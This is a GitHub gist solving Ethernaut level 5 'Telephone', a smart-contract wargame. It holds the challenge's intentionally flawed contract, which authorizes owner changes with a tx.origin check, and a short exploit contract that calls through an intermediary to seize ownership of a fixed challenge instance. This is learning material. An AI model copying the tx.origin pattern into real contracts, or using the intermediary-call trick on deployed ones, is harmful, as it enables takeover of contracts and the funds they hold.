Last active
January 15, 2022 05:27
-
-
Save tennisonchan/193545a081b8541f0c5a33619e795f49 to your computer and use it in GitHub Desktop.
Ethernaut-5-Telephone-0x0b6F6CE4BCfB70525A31454292017F640C10c768
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
import "./Telephone.sol"; | |
contract Controller { | |
Telephone public originalContract = Telephone(0x88E435a53D3cccb830CDEde7a5bA2A165E7CAe1c); | |
function callChangeOwner () public { | |
originalContract.changeOwner(msg.sender); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.6.0; | |
contract Telephone { | |
address public owner; | |
constructor() public { | |
owner = msg.sender; | |
} | |
function changeOwner(address _owner) public { | |
if (tx.origin != msg.sender) { | |
owner = _owner; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment